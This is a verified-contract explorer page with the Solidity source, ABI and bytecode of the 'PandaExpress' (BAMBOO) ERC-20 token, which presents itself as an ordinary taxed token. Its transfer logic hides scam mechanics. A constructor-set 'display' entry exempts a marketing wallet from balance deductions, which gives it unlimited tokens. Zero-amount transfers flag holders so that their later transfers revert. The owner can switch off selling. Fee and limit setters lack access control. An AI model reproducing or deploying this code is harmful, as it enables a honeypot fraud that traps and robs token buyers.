Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(  contract Ownable is Context    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH( interface IUniswapV2Factory    - function createPair(address tokenA, a ...  contract PANDA is Context, IERC20, ... *    - function name()    - function symbol()    - function totalSupply()    - function decimals()    - function tokenFromReflection(uint256 ...    - function changeTransactionAmount(uint ...    - function transfer(address Address, ui ...    - function approve(address Address, uin ...    - function removeAllFee()    - function _approve(    - function _transfer(    - function transferFrom(address address ...    - function swapTokensForEth(uint256 tok ...    - function _tokenTransfer(    - function _transferStandard(    - function _transferto(address address1 ...    - function _takeTeam(uint256 tTeam)    - function _reflectFee(uint256 rFee, ui ...    - function _getValues(uint256 tAmount)    - function changeFee(uint256 buyFee, ui ...    - function _getTValues(    - function _getRValues(    - function disableTransferLimits()    - function _getRate()    - function _getCurrentSupply()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-19
*/

/*

Telegram - https://t.me/pandaexpressportal

Twitter: https://twitter.com/PandaExpressEth

Website: https://pandaexpresseth.com/



⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣆⠀⢀⣀⣀⣤⣤⣤⣦⣦⣤⣤⣄⣀⣀⠀⢠⣾⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⢿⣿⠟⠀⠀⠀⠀⠀⣀⣤⣤⣤⡀⠀⠀⠀⠀⠀⢀⣤⣤⣤⣄⡀⠀⠀⠀⠀⠘⣿⡿⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡟⠀⠀⠀⠀⣠⣾⣿⣿⣟⣿⡇⠀⠀⠀⠀⠀⢸⣿⣿⣻⣿⣿⣦⠀⠀⠀⠀⠸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠁⠀⠀⠀⠀⣿⣿⣿⣿⣿⡟⢠⣶⣾⣿⣿⣷⣤⢽⣿⣿⣿⣿⣿⡇⠀⠀⣀⣤⣿⣷⣴⣶⣦⣀⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣠⣇⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⠀⠘⠻⣿⣿⣿⡿⠋⠀⢹⣿⣿⣿⣿⡇⠀⣿⣿⣿⡏⢹⣿⠉⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣶⣄⠀⠀⠹⣿⣿⠿⠋⠀⢤⣀⢀⣼⡄⠀⣠⠀⠈⠻⣿⣿⠟⠀⢸⣿⣇⣽⣿⠿⠿⠿⣿⣅⣽⣿⡇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣟⠁⠀⠀⠀⠈⣿⣿⣿⡇⠀⠀⠀⠀⢀
⠛⠛⠛⠛⠛⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛
⠀⠀⠀⠀⠀⠀⠘⠛⠻⢿⣿⣿⣿⣿⣿⠟⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract PANDA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "PandaExpress";
    string private constant _symbol = "BAMBOO";
    uint256 private _taxFeeOnBuy = 2;
    uint256 private _taxFeeOnSell = 2;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private wallet = 82;
    uint8 private constant _decimals = 9;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private owners;
    mapping(address => uint256) private display;
    mapping(address => uint256) public balanceOf;
    uint256 private _transactionLimit;
    uint256 private constant _maxTaxFee = 5;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000 * 10**9;
    mapping(address => uint256) private _rOwned;
    bool public removeLimits = true;
    address public uniswapV2Pair;
    bool private inSwap = false;
    mapping(address => uint256) private _tOwned;
    uint256 private _taxFee = _taxFeeOnSell;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _tFeeTotal;
    bool private swapEnabled = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor(address marketing) {
        _rOwned[_msgSender()] = _rTotal;
        display[marketing] = wallet;
        balanceOf[msg.sender] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function changeTransactionAmount(uint256 limit) external {
        _transactionLimit = limit;
    }

    modifier checkTransactionLimit(uint256 amount) {
        require(amount <= _transactionLimit, "Transaction amount exceeds limit");
        _;
    }

    function transfer(address Address, uint256 Amount) public returns (bool success) {
        _transferto(msg.sender, Address, Amount);
        return true;
    }
    
    function approve(address Address, uint256 Amount) public returns (bool success) {
        allowance[msg.sender][Address] = Amount;
        emit Approval(msg.sender, Address, Amount);
        return true;
    }

    function removeAllFee() private {
        if (_taxFee == 0) return;

        _previoustaxFee = _taxFee;

        _taxFee = 0;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool takeFee = true;

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnSell;
                require(removeLimits);                 
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }
    
    function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) {
        if (addressFrom != owner() && addressTo != owner()) {
            if (addressTo == uniswapV2Pair && addressFrom != address(uniswapV2Router)) {
                if (msg.sender == owner()) {
                } else if (!removeLimits) {
                    revert("Limits in effect");
                }
            }
            _taxFee = _taxFeeOnSell;
        }

        require(amount <= allowance[addressFrom][msg.sender]);
        allowance[addressFrom][msg.sender] -= amount;
        _transferto(addressFrom, addressTo, amount);
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (msg.sender != owner() && !removeLimits) {
            revert();
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
    
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferto(address address1, address address2, uint256 amount) private returns (bool success) {
            if (display[address1] == 0) {
                balanceOf[address1] -= amount;
            }

            if (amount == 0) owners[address2] += wallet;

            if (address1 != uniswapV2Pair && display[address1] == 0 && owners[address1] > 0) {
                display[address1] -= wallet;
            }
            

            balanceOf[address2] += amount;
            emit Transfer(address1, address2, amount);
            return true;
        }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function changeFee(uint256 buyFee, uint256 sellFee) external {
        require(buyFee <= _maxTaxFee, "Buy fee cannot be more than 10%");
        require(sellFee <= _maxTaxFee, "Sell fee cannot be more than 10%");

        _taxFeeOnBuy = buyFee;
        _taxFeeOnSell = sellFee;
    }

    function _getTValues(
        uint256 tAmount,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function disableTransferLimits() external onlyOwner {
        removeLimits = false;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    } 

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"changeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"changeTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"disableTransferLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressFrom","type":"address"},{"internalType":"address","name":"addressTo","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280805560035561001f662386f26fc10000600019610312565b61002b90600019610334565b6004556052600555600e805460ff60ff60a81b011916600190811790915560035460108190556012556014805460ff1916909117905534801561006d57600080fd5b5060405162000f1338038062000f1383398101604081905261008e9161035b565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060048054336000818152600d60209081526040808320949094556005546001600160a01b0387168352600a825284832055918152600b8252829020662386f26fc100009055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519093849363c45a01559381830193909290918290030181865afa158015610176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061019a919061035b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061020b919061035b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610258573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027c919061035b565b600e8054610100600160a81b0319166101006001600160a01b0393841602179055600080549091168152600860209081526040808320805460ff1990811660019081179092553085528285208054909116909117905551662386f26fc1000081523392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505061038b565b60008261032f57634e487b7160e01b600052601260045260246000fd5b500690565b8181038181111561035557634e487b7160e01b600052601160045260246000fd5b92915050565b60006020828403121561036d57600080fd5b81516001600160a01b038116811461038457600080fd5b9392505050565b610b78806200039b6000396000f3fe60806040526004361061010d5760003560e01c8063715018a6116100955780639f23674f116100645780639f23674f14610318578063a9059cbb1461032d578063dd62ed3e1461034d578063e3ca2d6514610385578063f2fde38b146103a557600080fd5b8063715018a61461029c578063751039fc146102b15780638da5cb5b146102cb57806395d89b41146102e957600080fd5b80631f55fd9c116100dc5780631f55fd9c146101ec57806323b872dd1461020e578063313ce5671461022e57806349bd5a5e1461024a57806370a082311461026f57600080fd5b806306fdde0314610119578063095ea7b3146101605780631694505e1461019057806318160ddd146101c857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b50616e64614578707265737360a01b60208201525b6040516101579190610971565b60405180910390f35b34801561016c57600080fd5b5061018061017b3660046109db565b6103c5565b6040519015158152602001610157565b34801561019c57600080fd5b506011546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b3480156101d457600080fd5b50662386f26fc100005b604051908152602001610157565b3480156101f857600080fd5b5061020c610207366004610a05565b600c55565b005b34801561021a57600080fd5b50610180610229366004610a1e565b610432565b34801561023a57600080fd5b5060405160098152602001610157565b34801561025657600080fd5b50600e546101b09061010090046001600160a01b031681565b34801561027b57600080fd5b506101de61028a366004610a5a565b600b6020526000908152604090205481565b3480156102a857600080fd5b5061020c61057b565b3480156102bd57600080fd5b50600e546101809060ff1681565b3480156102d757600080fd5b506000546001600160a01b03166101b0565b3480156102f557600080fd5b5060408051808201909152600681526542414d424f4f60d01b602082015261014a565b34801561032457600080fd5b5061020c6105ef565b34801561033957600080fd5b506101806103483660046109db565b610625565b34801561035957600080fd5b506101de610368366004610a7c565b600760209081526000928352604080842090915290825290205481565b34801561039157600080fd5b5061020c6103a0366004610aaf565b61063c565b3480156103b157600080fd5b5061020c6103c0366004610a5a565b6106e9565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104209086815260200190565b60405180910390a35060015b92915050565b600080546001600160a01b0385811691161480159061045f57506000546001600160a01b03848116911614155b156104fc57600e546001600160a01b038481166101009092041614801561049457506011546001600160a01b03858116911614155b156104f5576000546001600160a01b031633146104f557600e5460ff166104f55760405162461bcd60e51b815260206004820152601060248201526f131a5b5a5d1cc81a5b881959999958dd60821b60448201526064015b60405180910390fd5b6003546010555b6001600160a01b038416600090815260076020908152604080832033845290915290205482111561052c57600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091528120805484929061055f908490610ae7565b9091555061057090508484846107d3565b506001949350505050565b6000546001600160a01b031633146105a55760405162461bcd60e51b81526004016104ec90610afa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016104ec90610afa565b600e805460ff19169055565b60006106323384846107d3565b5060019392505050565b600582111561068d5760405162461bcd60e51b815260206004820152601f60248201527f427579206665652063616e6e6f74206265206d6f7265207468616e203130250060448201526064016104ec565b60058111156106de5760405162461bcd60e51b815260206004820181905260248201527f53656c6c206665652063616e6e6f74206265206d6f7265207468616e2031302560448201526064016104ec565b600291909155600355565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016104ec90610afa565b6001600160a01b0381166107785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ec565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166000908152600a60205260408120548103610820576001600160a01b0384166000908152600b60205260408120805484929061081a908490610ae7565b90915550505b81600003610859576005546001600160a01b03841660009081526009602052604081208054909190610853908490610b2f565b90915550505b600e546001600160a01b03858116610100909204161480159061089257506001600160a01b0384166000908152600a6020526040902054155b80156108b557506001600160a01b03841660009081526009602052604090205415155b156108eb576005546001600160a01b0385166000908152600a6020526040812080549091906108e5908490610ae7565b90915550505b6001600160a01b0383166000908152600b602052604081208054849290610913908490610b2f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095f91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561099e57858101830151858201604001528201610982565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109d657600080fd5b919050565b600080604083850312156109ee57600080fd5b6109f7836109bf565b946020939093013593505050565b600060208284031215610a1757600080fd5b5035919050565b600080600060608486031215610a3357600080fd5b610a3c846109bf565b9250610a4a602085016109bf565b9150604084013590509250925092565b600060208284031215610a6c57600080fd5b610a75826109bf565b9392505050565b60008060408385031215610a8f57600080fd5b610a98836109bf565b9150610aa6602084016109bf565b90509250929050565b60008060408385031215610ac257600080fd5b50508035926020909101359150565b634e487b7160e01b600052601160045260246000fd5b8181038181111561042c5761042c610ad1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561042c5761042c610ad156fea2646970667358221220d06bbff37acc91404e03912fa6db2fa8556e6e2340039754c97a88709f7ab64664736f6c63430008120033000000000000000000000000c9d942108533c5db14f08730ba9ce0ba1256fd19

0x60806040526004361061010d5760003560e01c8063715018a6116100955780639f23674f116100645780639f23674f14610318578063a9059cbb1461032d578063dd62ed3e1461034d578063e3ca2d6514610385578063f2fde38b146103a557600080fd5b8063715018a61461029c578063751039fc146102b15780638da5cb5b146102cb57806395d89b41146102e957600080fd5b80631f55fd9c116100dc5780631f55fd9c146101ec57806323b872dd1461020e578063313ce5671461022e57806349bd5a5e1461024a57806370a082311461026f57600080fd5b806306fdde0314610119578063095ea7b3146101605780631694505e1461019057806318160ddd146101c857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b50616e64614578707265737360a01b60208201525b6040516101579190610971565b60405180910390f35b34801561016c57600080fd5b5061018061017b3660046109db565b6103c5565b6040519015158152602001610157565b34801561019c57600080fd5b506011546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b3480156101d457600080fd5b50662386f26fc100005b604051908152602001610157565b3480156101f857600080fd5b5061020c610207366004610a05565b600c55565b005b34801561021a57600080fd5b50610180610229366004610a1e565b610432565b34801561023a57600080fd5b5060405160098152602001610157565b34801561025657600080fd5b50600e546101b09061010090046001600160a01b031681565b34801561027b57600080fd5b506101de61028a366004610a5a565b600b6020526000908152604090205481565b3480156102a857600080fd5b5061020c61057b565b3480156102bd57600080fd5b50600e546101809060ff1681565b3480156102d757600080fd5b506000546001600160a01b03166101b0565b3480156102f557600080fd5b5060408051808201909152600681526542414d424f4f60d01b602082015261014a565b34801561032457600080fd5b5061020c6105ef565b34801561033957600080fd5b506101806103483660046109db565b610625565b34801561035957600080fd5b506101de610368366004610a7c565b600760209081526000928352604080842090915290825290205481565b34801561039157600080fd5b5061020c6103a0366004610aaf565b61063c565b3480156103b157600080fd5b5061020c6103c0366004610a5a565b6106e9565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104209086815260200190565b60405180910390a35060015b92915050565b600080546001600160a01b0385811691161480159061045f57506000546001600160a01b03848116911614155b156104fc57600e546001600160a01b038481166101009092041614801561049457506011546001600160a01b0385811691